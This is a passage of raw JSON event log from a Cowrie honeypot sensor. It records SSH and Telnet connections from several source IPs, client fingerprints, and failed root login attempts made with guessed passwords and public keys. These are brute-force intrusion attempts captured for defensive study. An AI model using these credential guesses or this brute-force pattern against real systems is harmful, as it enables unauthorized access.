{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:28.018899Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.39920735359192,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:42.963951Z","src_ip":"152.42.224.71","session":"2d686ce059a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38632,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9fa3d69837b","protocol":"ssh","message":"New connection: 193.228.128.84:38632 (10.17.0.5:22) [session: a9fa3d69837b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:43.753863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:43.758340Z","src_ip":"193.228.128.84","session":"a9fa3d69837b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:44.230738Z","src_ip":"193.228.128.84","session":"a9fa3d69837b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde","message":"login attempt [root/zaqxswcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:45.316779Z","src_ip":"193.228.128.84","session":"a9fa3d69837b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:46.532516Z","src_ip":"193.228.128.84","session":"a9fa3d69837b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.101","src_port":58102,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fcbf5c35fe","protocol":"ssh","message":"New connection: 102.129.200.101:58102 (10.17.0.5:22) [session: c2fcbf5c35fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.363139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.371764Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.462080Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:b6:75:93:f5:38:48:20:da:b5:e4:ac:6a:aa:2c:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr28L5HAZyVN0tNPAjc2XxU2f4Gc9u6xRAEry2kgCuSH3dwZLc8Hu8G/qw88y27Uj910Ex6tsNPZD2qxbz2xbSfRaMbfoZRLcq8UBrEhO01Tez988jec17j4JlCwjyOvKVS+tUJKprt8Ve6PKH4OFu3jeBevmifsrShvqn8aKcRRsWu016v6NHh+2JBQgUkSowuQdL5qhJbnd21SMepkrBJEygimBWFOeWwI2ZsB275BFG9kwBzbI4GfsVs+xRjqsuhHyn4deYKBs83TZ0e9pVb+bim49tIhvCGHZTBLelVfdOqoYAcaat9WdEXEDaOJZwe8q3hAI8viUoxxLHCyzJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:b6:75:93:f5:38:48:20:da:b5:e4:ac:6a:aa:2c:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.880701Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:b6:75:93:f5:38:48:20:da:b5:e4:ac:6a:aa:2c:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr28L5HAZyVN0tNPAjc2XxU2f4Gc9u6xRAEry2kgCuSH3dwZLc8Hu8G/qw88y27Uj910Ex6tsNPZD2qxbz2xbSfRaMbfoZRLcq8UBrEhO01Tez988jec17j4JlCwjyOvKVS+tUJKprt8Ve6PKH4OFu3jeBevmifsrShvqn8aKcRRsWu016v6NHh+2JBQgUkSowuQdL5qhJbnd21SMepkrBJEygimBWFOeWwI2ZsB275BFG9kwBzbI4GfsVs+xRjqsuhHyn4deYKBs83TZ0e9pVb+bim49tIhvCGHZTBLelVfdOqoYAcaat9WdEXEDaOJZwe8q3hAI8viUoxxLHCyzJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.884795Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:07:65:2e:5b:24:29:b2:8d:62:27:5f:69:5b:fe:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDElBRTZW0GX+ElEHFRek5FB5GBex1XE0qYlN7afh4UuTlVVPGmhcRdH5lNgIXktKg/6BLwMtCiCH634giYLix5YHBXS2OFqUnDBKluDWvc1Q4D/bgGBDwB16sKu28FK8QY9FMmvHv6KNLmnnb6iVK+vffWfhckXtPyA0paCAcW2Nt81myJk8aLs7I3ZinF9DlJIiNVHepdqMztZBzJZf1WRZ2BQ8eePyj1wlSzNiAbsox0ohlWUhuPRqS/gHZVeuRpWfAGNHJr19TyV+UbWAKJQhjF2Ug6Ly1J4NSxAjV8UZOs1Ps8aYvKqCk6lQH0S70pZdWLtXu7nQD/9TZVTGqSzyHRL8Htl9y0z4WEd2T8j+ykbpMQOdSu1vnZwjG5oeK8sJqjnStLNz+LOYHCjmIvg0sRFq27rHLEomkZpLzE+DdJyUFKk4ttSSElwGrGVOOLNDgU8wzPBGu9MyF1mrAMd+oaUJ0z/3HWshtDXtZLWm8W2vblQSkJoz2MVnN7CPC7K/OLoJfwjnIFfGd3NzMMUCv4b/QIqaAhYkcLf++dp+e1KJ/b3fDe3smeFzGjCq3lP2ax+Y2qr7trTnRUD9AaQ7LwMU0f4pNWv7zQ4uCCMbYjMr0NT+PF5Lf9FrO9vItVRV1mA6hiqSR6TzLCacnJ6Vi2L/EvAOzwhVar260VAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:07:65:2e:5b:24:29:b2:8d:62:27:5f:69:5b:fe:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.974301Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:07:65:2e:5b:24:29:b2:8d:62:27:5f:69:5b:fe:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDElBRTZW0GX+ElEHFRek5FB5GBex1XE0qYlN7afh4UuTlVVPGmhcRdH5lNgIXktKg/6BLwMtCiCH634giYLix5YHBXS2OFqUnDBKluDWvc1Q4D/bgGBDwB16sKu28FK8QY9FMmvHv6KNLmnnb6iVK+vffWfhckXtPyA0paCAcW2Nt81myJk8aLs7I3ZinF9DlJIiNVHepdqMztZBzJZf1WRZ2BQ8eePyj1wlSzNiAbsox0ohlWUhuPRqS/gHZVeuRpWfAGNHJr19TyV+UbWAKJQhjF2Ug6Ly1J4NSxAjV8UZOs1Ps8aYvKqCk6lQH0S70pZdWLtXu7nQD/9TZVTGqSzyHRL8Htl9y0z4WEd2T8j+ykbpMQOdSu1vnZwjG5oeK8sJqjnStLNz+LOYHCjmIvg0sRFq27rHLEomkZpLzE+DdJyUFKk4ttSSElwGrGVOOLNDgU8wzPBGu9MyF1mrAMd+oaUJ0z/3HWshtDXtZLWm8W2vblQSkJoz2MVnN7CPC7K/OLoJfwjnIFfGd3NzMMUCv4b/QIqaAhYkcLf++dp+e1KJ/b3fDe3smeFzGjCq3lP2ax+Y2qr7trTnRUD9AaQ7LwMU0f4pNWv7zQ4uCCMbYjMr0NT+PF5Lf9FrO9vItVRV1mA6hiqSR6TzLCacnJ6Vi2L/EvAOzwhVar260VAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:16.977991Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:b4:af:dd:bf:b1:f6:89:2d:da:15:80:dd:b0:e1:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Z+3WEOEThuz5k+2gdK512ylQ24tVRDJ1ui2kRLEGbhYvEkbgRS/fpRAktb6pue6u27DM/kNy94WJWWp/n+tLn8OEHs9ZxVVvEHFfR4TKO/AbtJjbatAWRX8F4MTk8QVfU7xnOE8wFfvM+xnDswscmQFWvJWHo+si1T9JJQprg5+xT9j6dhoghFaeZLtQyuKklIfK07HZ7asnqVOx5qiAh3CAHIDI960w2KP7ndILB6H5cZzRPzK5Ewoi0gWz7ddJMoMkwkp+yKCfH9ijsjWULKGHD6PyX8n42oxUro7EKnSTXCYsZmFMay4sFoqad4prfiJk5SI67bZnaVOtSOHww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:b4:af:dd:bf:b1:f6:89:2d:da:15:80:dd:b0:e1:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.066371Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:b4:af:dd:bf:b1:f6:89:2d:da:15:80:dd:b0:e1:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Z+3WEOEThuz5k+2gdK512ylQ24tVRDJ1ui2kRLEGbhYvEkbgRS/fpRAktb6pue6u27DM/kNy94WJWWp/n+tLn8OEHs9ZxVVvEHFfR4TKO/AbtJjbatAWRX8F4MTk8QVfU7xnOE8wFfvM+xnDswscmQFWvJWHo+si1T9JJQprg5+xT9j6dhoghFaeZLtQyuKklIfK07HZ7asnqVOx5qiAh3CAHIDI960w2KP7ndILB6H5cZzRPzK5Ewoi0gWz7ddJMoMkwkp+yKCfH9ijsjWULKGHD6PyX8n42oxUro7EKnSTXCYsZmFMay4sFoqad4prfiJk5SI67bZnaVOtSOHww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.070633Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:17:a7:dc:fc:4e:9c:f0:58:56:41:ed:35:87:e0:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb0eTtJfkVZMq9gzLYVpMBVQIYNVh/wIDPO0Z+voRdvavxOMEfGE0a/xq3hMf/mYb8DVxP5qMhfzIAqGiAdcZkGRDpHxCZvwEsAtnbtVB5Pq8LHDUBDjDjpsTT+eCC3/rv6VjtrXAK1nkvsw9W1kkFz8GIEoBjDOPCa3/f25DlLTDF5erAwO1naVV8HjLz7cPuClyUTmEKTwJleTOg4T9u/vmh0G4vaMbGWQq7Bbv2JmCDHZNhhl0vaDMjWUpkZIce41l7cCg52oa01mqZov94j0jWrSmxCBGENI+nbDBtuQRCwfqVwTkoST4G32inVI50Nij/pf+CzeXkSKM6z/R5Kx8j/QMHcchbacSOe0QFVlRBGbVaeCxohMVS2crnCPuaexc69970RRx5FZoKpA5Cjr+pIXZldc7h5Rq4Vc9Zq+nxqAfV3CfidizGNxzwOJ0aO6D3aPiQwU6bZjK9py/S6Q/UEIRMMz4VPob/TKJa768lQlf361xKbkVNX/6dzmF24O+bXENaMxNjxzk4IOvqeuLL7OpNIr2M18NUVuBqeDtejWcnY/Nxb2v2ZCizJGTtx70296V8aIzAb/Fv8mtzb3vvN/utPs5meEjtQL+aKExLTuRdpHcVvGNONEv6iaIcm37Mb3ELzVxLdcPw7v6OaMsKrGVTbXSYdJSP0k7cBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:17:a7:dc:fc:4e:9c:f0:58:56:41:ed:35:87:e0:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.162517Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:17:a7:dc:fc:4e:9c:f0:58:56:41:ed:35:87:e0:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb0eTtJfkVZMq9gzLYVpMBVQIYNVh/wIDPO0Z+voRdvavxOMEfGE0a/xq3hMf/mYb8DVxP5qMhfzIAqGiAdcZkGRDpHxCZvwEsAtnbtVB5Pq8LHDUBDjDjpsTT+eCC3/rv6VjtrXAK1nkvsw9W1kkFz8GIEoBjDOPCa3/f25DlLTDF5erAwO1naVV8HjLz7cPuClyUTmEKTwJleTOg4T9u/vmh0G4vaMbGWQq7Bbv2JmCDHZNhhl0vaDMjWUpkZIce41l7cCg52oa01mqZov94j0jWrSmxCBGENI+nbDBtuQRCwfqVwTkoST4G32inVI50Nij/pf+CzeXkSKM6z/R5Kx8j/QMHcchbacSOe0QFVlRBGbVaeCxohMVS2crnCPuaexc69970RRx5FZoKpA5Cjr+pIXZldc7h5Rq4Vc9Zq+nxqAfV3CfidizGNxzwOJ0aO6D3aPiQwU6bZjK9py/S6Q/UEIRMMz4VPob/TKJa768lQlf361xKbkVNX/6dzmF24O+bXENaMxNjxzk4IOvqeuLL7OpNIr2M18NUVuBqeDtejWcnY/Nxb2v2ZCizJGTtx70296V8aIzAb/Fv8mtzb3vvN/utPs5meEjtQL+aKExLTuRdpHcVvGNONEv6iaIcm37Mb3ELzVxLdcPw7v6OaMsKrGVTbXSYdJSP0k7cBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.166545Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:0f:cd:23:80:12:e0:2b:c1:07:f5:dc:b6:ab:e5:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxbKB0RcTpAmeh4g2CvnUUtUFBRhoh59vtaMzEkpwe9eyWhvVT1sDRE3oNgzsK3pUNd6gDtSuNl8wRPYOmqPnX0lNlgPlhT5objchIpH7gAax7fBbpxN3gqBVAk2Hr/sq04kIlY1h06oPrCLS1zEWGg2asDSzA1p92IIQghLKK0u20Tbw2/XlGvyGW3ECx5sQrATl0Hh/34yBygOeXwE18wV3W56bZOxOxjrl2B8dr6kC9ln+kcfxt/ixalJDGdPqAL9QZJ+Wb8H+ALVm8/7t7+K1NiiH2+p5qVqKNWSNfSe4WG2baMqOR5hM3F+sUTqGMatnRW2WEZp7Kmco6iyH9mqaWpyY5dJBunYanx3h/a8/imiTcnjlZH4sed/uaojpB2gw8a2KpukatxQlgqkRwkTo3eptUMw2AZ2fTNg9c04swsOvtMzzOQIBF5jtCbKeT+rmXd7WmNKXn2moxaVD8rELknPUwI/HrjoCsBpfsko0lGHG5jmSgJD9Rk+yzSmYT5vzdzp3EsoZhnpl2s/wAK4FWylcRi9avKPun5KBECwA4qXc4VfHjd0ioaEXsNUWF+3xSpW32t76cLu8MnGVZMdYOENmrnZWVg6r1qogD/vQ7BjkXp0tup1W3MaaqBbovL8b01E6TLr/FBKh8S1Y5yXZecYeNsUqY3/dPT/vywQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:0f:cd:23:80:12:e0:2b:c1:07:f5:dc:b6:ab:e5:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.256520Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:0f:cd:23:80:12:e0:2b:c1:07:f5:dc:b6:ab:e5:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxbKB0RcTpAmeh4g2CvnUUtUFBRhoh59vtaMzEkpwe9eyWhvVT1sDRE3oNgzsK3pUNd6gDtSuNl8wRPYOmqPnX0lNlgPlhT5objchIpH7gAax7fBbpxN3gqBVAk2Hr/sq04kIlY1h06oPrCLS1zEWGg2asDSzA1p92IIQghLKK0u20Tbw2/XlGvyGW3ECx5sQrATl0Hh/34yBygOeXwE18wV3W56bZOxOxjrl2B8dr6kC9ln+kcfxt/ixalJDGdPqAL9QZJ+Wb8H+ALVm8/7t7+K1NiiH2+p5qVqKNWSNfSe4WG2baMqOR5hM3F+sUTqGMatnRW2WEZp7Kmco6iyH9mqaWpyY5dJBunYanx3h/a8/imiTcnjlZH4sed/uaojpB2gw8a2KpukatxQlgqkRwkTo3eptUMw2AZ2fTNg9c04swsOvtMzzOQIBF5jtCbKeT+rmXd7WmNKXn2moxaVD8rELknPUwI/HrjoCsBpfsko0lGHG5jmSgJD9Rk+yzSmYT5vzdzp3EsoZhnpl2s/wAK4FWylcRi9avKPun5KBECwA4qXc4VfHjd0ioaEXsNUWF+3xSpW32t76cLu8MnGVZMdYOENmrnZWVg6r1qogD/vQ7BjkXp0tup1W3MaaqBbovL8b01E6TLr/FBKh8S1Y5yXZecYeNsUqY3/dPT/vywQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.261410Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:17.350980Z","src_ip":"102.129.200.101","session":"c2fcbf5c35fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ece43d1a55f9","protocol":"ssh","message":"New connection: 147.45.199.80:37514 (159.203.135.109:22) [session: ece43d1a55f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:18.414162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:18.418697Z","src_ip":"147.45.199.80","session":"ece43d1a55f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:18.516482Z","src_ip":"147.45.199.80","session":"ece43d1a55f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktutylf","message":"login attempt [root/ktutylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:18.809195Z","src_ip":"147.45.199.80","session":"ece43d1a55f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:19.909211Z","src_ip":"147.45.199.80","session":"ece43d1a55f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":33804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5504aebed508","protocol":"ssh","message":"New connection: 43.130.29.69:33804 (159.203.135.109:22) [session: 5504aebed508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:34.076552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:34.081662Z","src_ip":"43.130.29.69","session":"5504aebed508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@